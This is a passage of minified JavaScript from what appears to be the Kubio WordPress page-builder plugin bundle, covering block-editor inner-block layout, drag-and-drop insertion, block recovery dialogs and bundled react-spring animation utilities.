C=(0,c.getBlockSupport)(y,"layout")||(0,c.getBlockSupport)(y,"__experimentalLayout")||wg,{allowSizingOnChildren:B=!1}=C,I=_||C,j=(0,u.useMemo)((()=>({...w,...I,...B&&{allowSizingOnChildren:!0}})),[w,I,B]),E=(0,Nt.jsx)(Bg,{rootClientId:t,renderAppender:v,__experimentalAppenderTagName:m,layout:j,wrapperRef:h,placeholder:k});return null!=x&&x.providesContext&&0!==Object.keys(x.providesContext).length?(0,Nt.jsx)(Cg,{clientId:t,children:E}):E}function jg(e){return pp(e),(0,Nt.jsx)(Ig,{...e})}const Eg=(0,u.forwardRef)(((e,t)=>{const n=Tg({ref:t},e);return(0,Nt.jsx)("div",{className:"block-editor-inner-blocks",children:(0,Nt.jsx)("div",{...n})})}));function Tg(e={},t={}){const{__unstableDisableLayoutClassNames:n,__unstableDisableDropZone:o,dropZoneElement:i}=t,{clientId:r,layout:l=null,__unstableLayoutClassNames:s=""}=S(),a=(0,d.useSelect)((e=>{if(!r)return{};const{getBlockName:t,isZoomOut:n,getTemplateLock:o,getBlockRootClientId:i,getBlockEditingMode:l,getBlockSettings:s,getSectionRootClientId:a}=ge(e(hs));if(!r){const e=a();return{isDropZoneDisabled:n()&&""!==e}}const{hasBlockSupport:u,getBlockType:d}=e(c.store),p=t(r),h=l(r),g=i(r),[f]=s(r,"layout");let m="disabled"===h;if(n()){const e=a();m=r!==e}return{__experimentalCaptureToolbars:u(p,"__experimentalExposeControlsToChildren",!1),name:p,blockType:d(p),parentLock:o(g),parentClientId:g,isDropZoneDisabled:m,defaultLayout:f}}),[r]),{__experimentalCaptureToolbars:h,name:g,blockType:f,parentLock:m,parentClientId:v,isDropZoneDisabled:b,defaultLayout:k}=a,_=function({rootClientId:e=""}={}){const[t,n]=(0,u.useState)(null),o=(0,u.useRef)(null),i=(0,u.useRef)(null);i.current=e;const{isLockedAll:r,orientation:l,noDragInside:s,canInsert:a,isInsertionPointVisible:c}=(0,d.useSelect)((t=>{var n;const{getBlockListSettings:o,getTemplateLock:i,getBlock:r,canInsertBlockType:l,isBlockInsertionPointVisible:s}=t(hs),{getBlockType:a}=t("core/blocks"),c=r(e),u=a(null==c?void 0:c.name);return{isLockedAll:"all"===i(e),orientation:null===(n=o(e))||void 0===n?void 0:n.orientation,noDragInside:!!e&&(null==u?void 0:u.innerBlocksDisableInBetweenInserter),canInsert:l,isInsertionPointVisible:s}}),[e]),{showInsertionPoint:h,hideInsertionPoint:g}=(0,d.useDispatch)(hs),f=()=>{o.current&&c&&(g(),o.current=null)},m=bd(e),v=(0,u.useCallback)(gg()(a),[]),b=(0,u.useCallback)((()=>{var e,t;return((null===(e=window.kubioDraggingData)||void 0===e||null===(t=e.blocks)||void 0===t?void 0:t.map((({name:e})=>e)))||[]).map((e=>v(e,i.current))).reduce(((e,t)=>e&&t),!0)}),[]),k=kg(e,t),_=(0,u.useCallback)((e=>(e.target.ownerDocument.querySelectorAll(".kubio-is-hovered-on-drop").forEach((e=>{e.classList.remove("kubio-is-hovered-on-drop")})),k(e))),[k]),y=(0,p.useThrottle)((0,u.useCallback)(((t,i)=>{if(!m||!b())return;const r=function(e,t,n){const o="horizontal"===n?["left","right"]:["top","bottom"],i=(0,Je.isRTL)();let r,l;return e.forEach(((n,s)=>{const a=n.getBoundingClientRect(),[c,u]=fg(t,a,o);if(void 0===l||c<l){const t="bottom"===u||!i&&"right"===u||i&&"left"===u;let n=t?1:0;n+=t&&e[s+1]&&e[s+1].classList.contains("is-dragging")?1:0,l=c,r=s+n}})),r}(Array.from(i.children).filter((e=>e.classList.contains("wp-block")||e.querySelector(".wp-block"))),{x:t.clientX,y:t.clientY},l),s=void 0===r?0:r;var a;n(s),m&&null!==s&&(xg(m),a=s,o.current!==e+a&&(o.current=e+a,h(e,a)))}),[m]),200),x=(0,p.useThrottle)((0,u.useCallback)((()=>{m&&(b()?xg(m):m.classList.remove("is-hovered","kubio-is-hovered-on-drop"))}),[m]),100),S=(0,u.useCallback)((e=>{var t,i,r;m&&null!=m&&null!==(t=m.classList)&&void 0!==t&&t.contains("kubio-is-hovered-on-drop")&&(null==m||m.classList.remove("is-hovered","kubio-is-hovered-on-drop"));const l=null==e||null===(i=e.target)||void 0===i||null===(r=i.closest)||void 0===r?void 0:r.call(i,".wp-block");l&&l.isSameNode(m)||o.current&&(y.cancel(),f(),n(null))}),[m]),w=(0,u.useRef)({x:0,y:0}),C=(0,u.useCallback)((e=>{var i;o.current=null,n(null),w.current={x:0,y:0},yg(),o.current&&(x.cancel(),y.cancel(),f(),null!==t&&n(null),null==m||null===(i=m.classList)||void 0===i||i.remove("is-hovered","kubio-is-hovered-on-drop"))}),[m]),B=(0,u.useCallback)((()=>{yg(),top.document.removeEventListener("dragend",B)}));return(0,p.__experimentalUseDropZone)({isDisabled:r||s,onDragStart:()=>{top.document.addEventListener("dragend",B)},onDrop:(...e)=>{yg(),_(...e)},onDragOver(e){var t;null!==(t=e.currentTarget.closest(".wp-block"))&&void 0!==t&&t.isSameNode(m)&&(_g(w.current.x,e.clientX)||_g(w.current.y,e.clientY))&&(w.current={x:e.clientX,y:e.clientY},y(e,e.currentTarget))},onDragEnd:C,onDragEnter:x,onDragLeave:S})}({dropZoneElement:i,rootClientId:r,parentClientId:v}),y=(0,p.useMergeRefs)([e.ref,o||b||null!=l&&l.isManualPlacement&&window.__experimentalEnableGridInteractivity?null:_]),x={__experimentalCaptureToolbars:h,layout:l,name:g,blockType:f,parentLock:m,defaultLayout:k,...t},w=x.value&&x.onChange?jg:Ig;return{...e,ref:y,className:ms(e.className,"block-editor-block-list__layout",n?"":s),children:r?(0,Nt.jsx)(w,{...x,clientId:r}):(0,Nt.jsx)(nk,{...t})}}Tg.save=c.__unstableGetInnerBlocksProps,Eg.DefaultBlockAppender=function(){const{clientId:e}=S();return(0,Nt.jsx)(Jh,{rootClientId:e})},Eg.ButtonBlockAppender=function({showSeparator:e,isFloating:t,onAddBlock:n,isToggle:o}){const{clientId:i}=S();return(0,Nt.jsx)(og,{className:ms({"block-list-appender__toggle":o}),rootClientId:i,showSeparator:e,isFloating:t,onAddBlock:n})},Eg.Content=()=>Tg.save().children;const Pg=Eg,Mg=new Set([sd.UP,sd.RIGHT,sd.DOWN,sd.LEFT,sd.ENTER,sd.BACKSPACE]);function Rg(){const e=(0,d.useSelect)((e=>e(hs).isTyping()),[]),{stopTyping:t}=(0,d.useDispatch)(hs);return(0,p.useRefEffect)((n=>{if(!e)return;const{ownerDocument:o}=n;let i,r;function l(e){const{clientX:n,clientY:o}=e;i&&r&&(i!==n||r!==o)&&t(),i=n,r=o}return o.addEventListener("mousemove",l),()=>{o.removeEventListener("mousemove",l)}}),[e,t])}function Ng(){const{isTyping:e,hasInlineToolbar:t}=(0,d.useSelect)((e=>{const{isTyping:t,getSettings:n}=e(hs);return{isTyping:t(),hasInlineToolbar:n().hasInlineToolbar}}),[]),{startTyping:n,stopTyping:o}=(0,d.useDispatch)(hs),i=Rg(),r=(0,p.useRefEffect)((i=>{const{ownerDocument:r}=i,{defaultView:l}=r,s=l.getSelection();if(e){let c;function u(e){const{target:t}=e;c=l.setTimeout((()=>{(0,Cp.isTextField)(t)||o()}))}function d(e){const{keyCode:t}=e;t!==sd.ESCAPE&&t!==sd.TAB||o()}function p(){s.isCollapsed||o()}return i.addEventListener("focus",u),i.addEventListener("keydown",d),t||r.addEventListener("selectionchange",p),()=>{l.clearTimeout(c),i.removeEventListener("focus",u),i.removeEventListener("keydown",d),r.removeEventListener("selectionchange",p)}}function a(e){const{type:t,target:o}=e;(0,Cp.isTextField)(o)&&i.contains(o)&&("keydown"!==t||function(e){const{keyCode:t,shiftKey:n}=e;return!n&&Mg.has(t)}(e))&&n()}return i.addEventListener("keypress",a),i.addEventListener("keydown",a),()=>{i.removeEventListener("keypress",a),i.removeEventListener("keydown",a)}}),[e,t,n,o]);return(0,p.useMergeRefs)([i,r])}const Ag=function({children:e}){return(0,Nt.jsx)("div",{ref:Ng(),children:e})};class Lg extends u.Component{constructor(){super(...arguments),this.state={hasError:!1}}componentDidCatch(){this.setState({hasError:!0})}render(){return this.state.hasError?this.props.fallback:this.props.children}}const Dg=Lg,Og=(0,Nt.jsx)(Cs,{className:"block-editor-block-list__block-crash-warning",children:(0,Je.__)("This block has encountered an error and cannot be previewed.","kubio")}),zg=()=>Og;var Fg=n(4042);const Vg=function({clientId:e}){const[t,n]=(0,u.useState)(""),o=(0,d.useSelect)((t=>t(hs).getBlock(e)),[e]),{updateBlock:i}=(0,d.useDispatch)(hs);return(0,u.useEffect)((()=>{n((0,c.getBlockContent)(o))}),[o]),(0,Nt.jsx)(Fg.Z,{className:"block-editor-block-list__block-html-textarea",value:t,onBlur:()=>{const r=(0,c.getBlockType)(o.name);if(!r)return;const l=(0,c.getBlockAttributes)(r,t,o.attributes),s=t||(0,c.getSaveContent)(r,l),[a]=t?(0,c.validateBlock)({...o,attributes:l,originalContent:s}):[!0];i(e,{attributes:l,originalContent:s,isValid:a}),t||n(s)},onChange:e=>n(e.target.value)})};var Hg=n(7630);function Gg({title:e,rawContent:t,renderedContent:n,action:o,actionText:i,className:r}){return(0,Nt.jsxs)("div",{className:r,children:[(0,Nt.jsxs)("div",{className:"block-editor-block-compare__content",children:[(0,Nt.jsx)("h2",{className:"block-editor-block-compare__heading",children:e}),(0,Nt.jsx)("div",{className:"block-editor-block-compare__html",children:t}),(0,Nt.jsx)("div",{className:"block-editor-block-compare__preview edit-post-visual-editor",children:(0,Nt.jsx)(u.RawHTML,{children:(0,Cp.safeHTML)(n)})})]}),(0,Nt.jsx)("div",{className:"block-editor-block-compare__action",children:(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,variant:"secondary",tabIndex:"0",onClick:o,children:i})})]})}const $g=function({block:e,onKeep:t,onConvert:n,convertor:o,convertButtonText:i}){const r=function(e){const t=(Array.isArray(e)?e:[e]).map((e=>(0,c.getSaveContent)(e.name,e.attributes,e.innerBlocks)));return t.join("")}(o(e)),l=(s=e.originalContent,a=r,(0,Hg.Kx)(s,a).map(((e,t)=>{const n=ms({"block-editor-block-compare__added":e.added,"block-editor-block-compare__removed":e.removed});return(0,Nt.jsx)("span",{className:n,children:e.value},t)})));var s,a;return(0,Nt.jsxs)("div",{className:"block-editor-block-compare__wrapper",children:[(0,Nt.jsx)(Gg,{title:(0,Je.__)("Current"),className:"block-editor-block-compare__current",action:t,actionText:(0,Je.__)("Convert to HTML"),rawContent:e.originalContent,renderedContent:e.originalContent}),(0,Nt.jsx)(Gg,{title:(0,Je.__)("After Conversion"),className:"block-editor-block-compare__converted",action:n,actionText:i,rawContent:l,renderedContent:r})]})},Ug=e=>(0,c.rawHandler)({HTML:e.originalContent});function Wg({clientId:e}){const{block:t,canInsertHTMLBlock:n,canInsertClassicBlock:o}=(0,d.useSelect)((t=>{const{canInsertBlockType:n,getBlock:o,getBlockRootClientId:i}=t(hs),r=i(e);return{block:o(e),canInsertHTMLBlock:n("core/html",r),canInsertClassicBlock:n("core/freeform",r)}}),[e]),{replaceBlock:i}=(0,d.useDispatch)(hs),[r,l]=(0,u.useState)(!1),s=(0,u.useCallback)((()=>l(!1)),[]),a=(0,u.useMemo)((()=>({toClassic(){const e=(0,c.createBlock)("core/freeform",{content:t.originalContent});return i(t.clientId,e)},toHTML(){const e=(0,c.createBlock)("core/html",{content:t.originalContent});return i(t.clientId,e)},toBlocks(){const e=Ug(t);return i(t.clientId,e)},toRecoveredBlock(){const e=(0,c.createBlock)(t.name,t.attributes,t.innerBlocks);return i(t.clientId,e)}})),[t,i]),p=(0,u.useMemo)((()=>[{// translators: Button to fix block content title:(0,Je._x)("Resolve","imperative verb","kubio"),onClick:()=>l(!0)},n&&{title:(0,Je.__)("Convert to HTML","kubio"),onClick:a.toHTML},o&&{title:(0,Je.__)("Convert to Classic Block","kubio"),onClick:a.toClassic}].filter(Boolean)),[n,o,a]);return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(Cs,{actions:[(0,Nt.jsx)(ne.Button,{onClick:a.toRecoveredBlock,variant:"primary",children:(0,Je.__)("Attempt Block Recovery","kubio")},"recover")],secondaryActions:p,children:(0,Je.__)("This block contains unexpected or invalid content.","kubio")}),r&&(0,Nt.jsx)(ne.Modal,{title:// translators: Dialog title to fix block content // translators: Dialog title to fix block content (0,Je.__)("Resolve Block","kubio"),onRequestClose:s,className:"block-editor-block-compare",children:(0,Nt.jsx)($g,{block:t,onKeep:a.toHTML,onConvert:a.toBlocks,convertor:Ug,convertButtonText:(0,Je.__)("Convert to Blocks","kubio")})})]})}const Kg=window.wp.warning;var Zg=n.n(Kg);function qg({clientId:e="",isEnabled:t=!0}={}){const{getEnabledClientIdsTree:n}=ge((0,d.useSelect)(hs));return(0,p.useRefEffect)((o=>{if(!t)return;const i=t=>{(t.target===o||t.target.classList.contains("is-root-container"))&&(t.defaultPrevented||(t.preventDefault(),n(e).forEach((({clientId:e})=>{const t=o.querySelector(`[data-block="${e}"]`);t&&(t.classList.remove("has-editable-outline"),t.offsetWidth,t.classList.add("has-editable-outline"))}))))};return o.addEventListener("click",i),()=>o.removeEventListener("click",i)}),[t])}let Yg=pf();const Xg=e=>af(e,Yg);let Qg=pf();Xg.write=e=>af(e,Qg);let Jg=pf();Xg.onStart=e=>af(e,Jg);let ef=pf();Xg.onFrame=e=>af(e,ef);let tf=pf();Xg.onFinish=e=>af(e,tf);let nf=[];Xg.setTimeout=(e,t)=>{let n=Xg.now()+t,o=()=>{let e=nf.findIndex((e=>e.cancel==o));~e&&nf.splice(e,1),gf.count-=~e?1:0},i={time:n,handler:e,cancel:o};return nf.splice(of(n),0,i),gf.count+=1,cf(),i};let of=e=>~(~nf.findIndex((t=>t.time>e))||~nf.length);Xg.cancel=e=>{Yg.delete(e),Qg.delete(e)},Xg.sync=e=>{sf=!0,Xg.batchedUpdates(e),sf=!1},Xg.throttle=e=>{let t;function n(){try{e(...t)}finally{t=null}}function o(...e){t=e,Xg.onStart(n)}return o.handler=e,o.cancel=()=>{Jg.delete(n),t=null},o};let rf="undefined"!=typeof window?window.requestAnimationFrame:()=>{};Xg.use=e=>rf=e,Xg.now="undefined"!=typeof performance?()=>performance.now():Date.now,Xg.batchedUpdates=e=>e(),Xg.catch=console.error,Xg.frameLoop="always",Xg.advance=()=>{"demand"!==Xg.frameLoop?console.warn("Cannot call the manual advancement of rafz whilst frameLoop is not set as demand"):df()};let lf=-1,sf=!1;function af(e,t){sf?(t.delete(e),e(0)):(t.add(e),cf())}function cf(){lf<0&&(lf=0,"demand"!==Xg.frameLoop&&rf(uf))}function uf(){~lf&&(rf(uf),Xg.batchedUpdates(df))}function df(){let e=lf;lf=Xg.now();let t=of(lf);t&&(hf(nf.splice(0,t),(e=>e.handler())),gf.count-=t),Jg.flush(),Yg.flush(e?Math.min(64,lf-e):16.667),ef.flush(),Qg.flush(),tf.flush()}function pf(){let e=new Set,t=e;return{add(n){gf.count+=t!=e||e.has(n)?0:1,e.add(n)},delete:n=>(gf.count-=t==e&&e.has(n)?1:0,e.delete(n)),flush(n){t.size&&(e=new Set,gf.count-=t.size,hf(t,(t=>t(n)&&e.add(t))),gf.count+=e.size,t=e)}}}function hf(e,t){e.forEach((e=>{try{t(e)}catch(e){Xg.catch(e)}}))}const gf={count:0,clear(){lf=-1,nf=[],Jg=pf(),Yg=pf(),ef=pf(),Qg=pf(),tf=pf(),gf.count=0}};var ff=n(9196);function mf(){}const vf={arr:Array.isArray,obj:e=>!!e&&"Object"===e.constructor.name,fun:e=>"function"==typeof e,str:e=>"string"==typeof e,num:e=>"number"==typeof e,und:e=>void 0===e};function bf(e,t){if(vf.arr(e)){if(!vf.arr(t)||e.length!==t.length)return!1;for(let n=0;n<e.length;n++)if(e[n]!==t[n])return!1;return!0}return e===t}const kf=(e,t)=>e.forEach(t);function _f(e,t,n){if(vf.arr(e))for(let o=0;o<e.length;o++)t.call(n,e[o],`${o}`);else for(const o in e)e.hasOwnProperty(o)&&t.call(n,e[o],o)}const yf=e=>vf.und(e)?[]:vf.arr(e)?e:[e];function xf(e,t){if(e.size){const n=Array.from(e);e.clear(),kf(n,t)}}const Sf=(e,...t)=>xf(e,(e=>e(...t)));let wf,Cf,Bf=null,If=!1,jf=mf;var Ef=Object.freeze({__proto__:null,get createStringInterpolator(){return wf},get to(){return Cf},get colors(){return Bf},get skipAnimation(){return If},get willAdvance(){return jf},assign:e=>{e.to&&(Cf=e.to),e.now&&(Xg.now=e.now),void 0!==e.colors&&(Bf=e.colors),null!=e.skipAnimation&&(If=e.skipAnimation),e.createStringInterpolator&&(wf=e.createStringInterpolator),e.requestAnimationFrame&&Xg.use(e.requestAnimationFrame),e.batchedUpdates&&(Xg.batchedUpdates=e.batchedUpdates),e.willAdvance&&(jf=e.willAdvance),e.frameLoop&&(Xg.frameLoop=e.frameLoop)}});const Tf=new Set;let Pf=[],Mf=[],Rf=0;const Nf={get idle(){return!Tf.size&&!Pf.length},start(e){Rf>e.priority?(Tf.add(e),Xg.onStart(Af)):(Lf(e),Xg(Of))},advance:Of,sort(e){if(Rf)Xg.onFrame((()=>Nf.sort(e)));else{const t=Pf.indexOf(e);~t&&(Pf.splice(t,1),Df(e))}},clear(){Pf=[],Tf.clear()}};function Af(){Tf.forEach(Lf),Tf.clear(),Xg(Of)}function Lf(e){Pf.includes(e)||Df(e)}function Df(e){Pf.splice(function(t,n){const o=t.findIndex((t=>t.priority>e.priority));return o<0?t.length:o}(Pf),0,e)}function Of(e){const t=Mf;for(let n=0;n<Pf.length;n++){const o=Pf[n];Rf=o.priority,o.idle||(jf(o),o.advance(e),o.idle||t.push(o))}return Rf=0,Mf=Pf,Mf.length=0,Pf=t,Pf.length>0}const zf="[-+]?\\d*\\.?\\d+",Ff=zf+"%";function Vf(...e){return"\\(\\s*("+e.join(")\\s*,\\s*(")+")\\s*\\)"}const Hf=new RegExp("rgb"+Vf(zf,zf,zf)),Gf=new RegExp("rgba"+Vf(zf,zf,zf,zf)),$f=new RegExp("hsl"+Vf(zf,Ff,Ff)),Uf=new RegExp("hsla"+Vf(zf,Ff,Ff,zf)),Wf=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,Kf=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,Zf=/^#([0-9a-fA-F]{6})$/,qf=/^#([0-9a-fA-F]{8})$/;function Yf(e,t,n){return n<0&&(n+=1),n>1&&(n-=1),n<1/6?e+6*(t-e)*n:n<.5?t:n<2/3?e+(t-e)*(2/3-n)*6:e}function Xf(e,t,n){const o=n<.5?n*(1+t):n+t-n*t,i=2*n-o,r=Yf(i,o,e+1/3),l=Yf(i,o,e),s=Yf(i,o,e-1/3);return Math.round(255*r)<<24|Math.round(255*l)<<16|Math.round(255*s)<<8}function Qf(e){const t=parseInt(e,10);return t<0?0:t>255?255:t}function Jf(e){return(parseFloat(e)%360+360)%360/360}function em(e){const t=parseFloat(e);return t<0?0:t>1?255:Math.round(255*t)}function tm(e){const t=parseFloat(e);return t<0?0:t>100?1:t/100}function nm(e){let t=function(e){let t;return"number"==typeof e?e>>>0===e&&e>=0&&e<=4294967295?e:null:(t=Zf.exec(e))?parseInt(t[1]+"ff",16)>>>0:Bf&&void 0!==Bf[e]?Bf[e]:(t=Hf.exec(e))?(Qf(t[1])<<24|Qf(t[2])<<16|Qf(t[3])<<8|255)>>>0:(t=Gf.exec(e))?(Qf(t[1])<<24|Qf(t[2])<<16|Qf(t[3])<<8|em(t[4]))>>>0:(t=Wf.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+"ff",16)>>>0:(t=qf.exec(e))?parseInt(t[1],16)>>>0:(t=Kf.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+t[4]+t[4],16)>>>0:(t=$f.exec(e))?(255|Xf(Jf(t[1]),tm(t[2]),tm(t[3])))>>>0:(t=Uf.exec(e))?(Xf(Jf(t[1]),tm(t[2]),tm(t[3]))|em(t[4]))>>>0:null}(e);return null===t?e:(t=t||0,`rgba(${(4278190080&t)>>>24}, ${(16711680&t)>>>16}, ${(65280&t)>>>8}, ${(255&t)/255})`)}const om=(e,t,n)=>{if(vf.fun(e))return e;if(vf.arr(e))return om({range:e,output:t,extrapolate:n});if(vf.str(e.output[0]))return wf(e);const o=e,i=o.output,r=o.range||[0,1],l=o.extrapolateLeft||o.extrapolate||"extend",s=o.extrapolateRight||o.extrapolate||"extend",a=o.easing||(e=>e);return e=>{const t=function(e,t){for(var n=1;n<t.length-1&&!(t[n]>=e);++n);return n-1}(e,r);return function(e,t,n,o,i,r,l,s,a){let c=a?a(e):e;if(c<t){if("identity"===l)return c;"clamp"===l&&(c=t)}if(c>n){if("identity"===s)return c;"clamp"===s&&(c=n)}return o===i?o:t===n?e<=t?o:i:(t===-1/0?c=-c:n===1/0?c-=t:c=(c-t)/(n-t),c=r(c),o===-1/0?c=-c:i===1/0?c+=o:c=c*(i-o)+o,c)}(e,r[t],r[t+1],i[t],i[t+1],a,l,s,o.map)}};function im(){return im=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},im.apply(this,arguments)}const rm=Symbol.for("FluidValue.get"),lm=Symbol.for("FluidValue.observers"),sm=e=>Boolean(e&&e[rm]),am=e=>e&&e[rm]?e[rm]():e,cm=e=>e[lm]||null;function um(e,t){let n=e[lm];n&&n.forEach((e=>{!function(e,t){e.eventObserved?e.eventObserved(t):e(t)}(e,t)}))}class dm{constructor(e){if(this[rm]=void 0,this[lm]=void 0,!e&&!(e=this.get))throw Error("Unknown getter");pm(this,e)}}const pm=(e,t)=>fm(e,rm,t);function hm(e,t){if(e[rm]){let n=e[lm];n||fm(e,lm,n=new Set),n.has(t)||(n.add(t),e.observerAdded&&e.observerAdded(n.size,t))}return t}function gm(e,t){let n=e[lm];if(n&&n.has(t)){const o=n.size-1;o?n.delete(t):e[lm]=null,e.observerRemoved&&e.observerRemoved(o,t)}}const fm=(e,t,n)=>Object.defineProperty(e,t,{value:n,writable:!0,configurable:!0}),mm=/[+\-]?(?:0|[1-9]\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,vm=/(#(?:[0-9a-f]{2}){2,4}|(#[0-9a-f]{3})|(rgb|hsl)a?\((-?\d+%?[,\s]+){2,3}\s*[\d\.]+%?\))/gi,bm=new RegExp(`(${mm.source})(%|[a-z]+)`,"i");let km;const _m=/rgba\(([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+)\)/gi,ym=(e,t,n,o,i)=>`rgba(${Math.round(t)}, ${Math.round(n)}, ${Math.round(o)}, ${i})`,xm=e=>{km||(km=Bf?new RegExp(`(${Object.keys(Bf).join("|")})(?!\\w)`,"g"):/^\b$/);const t=e.output.map((e=>am(e).replace(vm,nm).replace(km,nm))),n=t.map((e=>e.match(mm).map(Number))),o=n[0].map(((e,t)=>n.map((e=>{if(!(t in e))throw Error('The arity of each "output" value must be equal');return e[t]})))),i=o.map((t=>om(im({},e,{output:t}))));return e=>{var n;const o=!bm.test(t[0])&&(null==(n=t.find((e=>bm.test(e))))?void 0:n.replace(mm,""));let r=0;return t[0].replace(mm,(()=>`${i[r++](e)}${o||""}`)).replace(_m,ym)}},Sm="react-spring: ",wm=e=>{const t=e;let n=!1;if("function"!=typeof t)throw new TypeError(`${Sm}once requires a function parameter`);return(...e)=>{n||(t(...e),n=!0)}},Cm=wm(console.warn);function Bm(e){return vf.str(e)&&("#"==e[0]||/\d/.test(e)||e in(Bf||{}))}wm(console.warn);const Im=e=>(0,ff.useEffect)(e,jm),jm=[];function Em(){const e={current:!0,unmount:()=>()=>{e.current=!1}};return e}const Tm="undefined"!=typeof window&&window.document&&window.document.createElement?ff.useLayoutEffect:ff.useEffect,Pm=Symbol.for("Animated:node"),Mm=e=>e&&e[Pm],Rm=(e,t)=>{return n=e,o=Pm,i=t,Object.defineProperty(n,o,{value:i,writable:!0,configurable:!0});var n,o,i},Nm=e=>e&&e[Pm]&&e[Pm].getPayload();class Am{constructor(){this.payload=void 0,Rm(this,this)}getPayload(){return this.payload||[]}}class Lm extends Am{constructor(e){super(),this.done=!0,this.elapsedTime=void 0,this.lastPosition=void 0,this.lastVelocity=void 0,this.v0=void 0,this.durationProgress=0,this._value=e,vf.num(this._value)&&(this.lastPosition=this._value)}static create(e){return new Lm(e)}getPayload(){return[this]}getValue(){return this._value}setValue(e,t){return vf.num(e)&&(this.lastPosition=e,t&&(e=Math.round(e/t)*t,this.done&&(this.lastPosition=e))),this._value!==e&&(this._value=e,!0)}reset(){const{done:e}=this;this.done=!1,vf.num(this._value)&&(this.elapsedTime=0,this.durationProgress=0,this.lastPosition=this._value,e&&(this.lastVelocity=null),this.v0=null)}}class Dm extends Lm{constructor(e){super(0),this._string=null,this._toString=void 0,this._toString=om({output:[e,e]})}static create(e){return new Dm(e)}getValue(){let e=this._string;return null==e?this._string=this._toString(this._value):e}setValue(e){if(vf.str(e)){if(e==this._string)return!1;this._string=e,this._value=1}else{if(!super.setValue(e))return!1;this._string=null}return!0}reset(e){e&&(this._toString=om({output:[this.getValue(),e]})),this._value=0,super.reset()}}const Om={dependencies:null};class zm extends Am{constructor(e){super(),this.source=e,this.setValue(e)}getValue(e){const t={};return _f(this.source,((n,o)=>{var i;(i=n)&&i[Pm]===i?t[o]=n.getValue(e):sm(n)?t[o]=am(n):e||(t[o]=n)})),t}setValue(e){this.source=e,this.payload=this._makePayload(e)}reset(){this.payload&&kf(this.payload,(e=>e.reset()))}_makePayload(e){if(e){const t=new Set;return _f(e,this._addToPayload,t),Array.from(t)}}_addToPayload(e){Om.dependencies&&sm(e)&&Om.dependencies.add(e);const t=Nm(e);t&&kf(t,(e=>this.add(e)))}}class Fm extends zm{constructor(e){super(e)}static create(e){return new Fm(e)}getValue(){return this.source.map((e=>e.getValue()))}setValue(e){const t=this.getPayload();return e.length==t.length?t.map(((t,n)=>t.setValue(e[n]))).some(Boolean):(super.setValue(e.map(Vm)),!0)}}function Vm(e){return(Bm(e)?Dm:Lm).create(e)}function Hm(e){const t=Mm(e);return t?t.constructor:vf.arr(e)?Fm:Bm(e)?Dm:Lm}function Gm(){return Gm=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},Gm.apply(this,arguments)}const $m=(e,t)=>{const n=!vf.fun(e)||e.prototype&&e.prototype.isReactComponent;return(0,ff.forwardRef)(((o,i)=>{const r=(0,ff.useRef)(null),l=n&&(0,ff.useCallback)((e=>{r.current=function(e,t){return e&&(vf.fun(e)?e(t):e.current=t),t}(i,e)}),[i]),[s,a]=function(e,t){const n=new Set;return Om.dependencies=n,e.style&&(e=Gm({},e,{style:t.createAnimatedStyle(e.style)})),e=new zm(e),Om.dependencies=null,[e,n]}(o,t),c=function(){const e=(0,ff.useState)()[1],t=(0,ff.useState)(Em)[0];return Im(t.unmount),()=>{t.current&&e({})}}(),u=()=>{const e=r.current;n&&!e||!1===(!!e&&t.applyAnimatedValues(e,s.getValue(!0)))&&c()},d=new Um(u,a),p=(0,ff.useRef)();Tm((()=>{const e=p.current;p.current=d,kf(a,(e=>hm(e,d))),e&&(kf(e.deps,(t=>gm(t,e))),Xg.cancel(e.update))})),(0,ff.useEffect)(u,[]),Im((()=>()=>{const e=p.current;kf(e.deps,(t=>gm(t,e)))}));const h=t.getComponentProps(s.getValue());return ff.createElement(e,Gm({},h,{ref:l}))}))};class Um{constructor(e,t){this.update=e,this.deps=t}eventObserved(e){"change"==e.type&&Xg.write(this.update)}}const Wm=Symbol.for("AnimatedComponent"),Km=e=>vf.str(e)?e:e&&vf.str(e.displayName)?e.displayName:vf.fun(e)&&e.name||null;function Zm(){return Zm=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},Zm.apply(this,arguments)}function qm(e,...t){return vf.fun(e)?e(...t):e}const Ym=(e,t)=>!0===e||!!(t&&e&&(vf.fun(e)?e(t):yf(e).includes(t))),Xm=(e,t)=>vf.obj(e)?t&&e[t]:e,Qm=(e,t)=>!0===e.default?e[t]:e.default?e.default[t]:void 0,Jm=e=>e,ev=(e,t=Jm)=>{let n=tv;e.default&&!0!==e.default&&(e=e.default,n=Object.keys(e));const o={};for(const i of n){const n=t(e[i],i);vf.und(n)||(o[i]=n)}return o},tv=["config","onProps","onStart","onChange","onPause","onResume","onRest"],nv={config:1,from:1,to:1,ref:1,loop:1,reset:1,pause:1,cancel:1,reverse:1,immediate:1,default:1,delay:1,onProps:1,onStart:1,onChange:1,onPause:1,onResume:1,onRest:1,onResolve:1,items:1,trail:1,sort:1,expires:1,initial:1,enter:1,update:1,leave:1,children:1,onDestroyed:1,keys:1,callId:1,parentId:1};function ov(e){const t=function(e){const t={};let n=0;if(_f(e,((e,o)=>{nv[o]||(t[o]=e,n++)})),n)return t}(e);if(t){const n={to:t};return _f(e,((e,o)=>o in t||(n[o]=e))),n}return Zm({},e)}function iv(e){return e=am(e),vf.arr(e)?e.map(iv):Bm(e)?Ef.createStringInterpolator({range:[0,1],output:[e,e]})(1):e}function rv(e){return vf.fun(e)||vf.arr(e)&&vf.obj(e[0])}const lv=Zm({},{tension:170,friction:26},{mass:1,damping:1,easing:e=>e,clamp:!1});class sv{constructor(){this.tension=void 0,this.friction=void 0,this.frequency=void 0,this.damping=void 0,this.mass=void 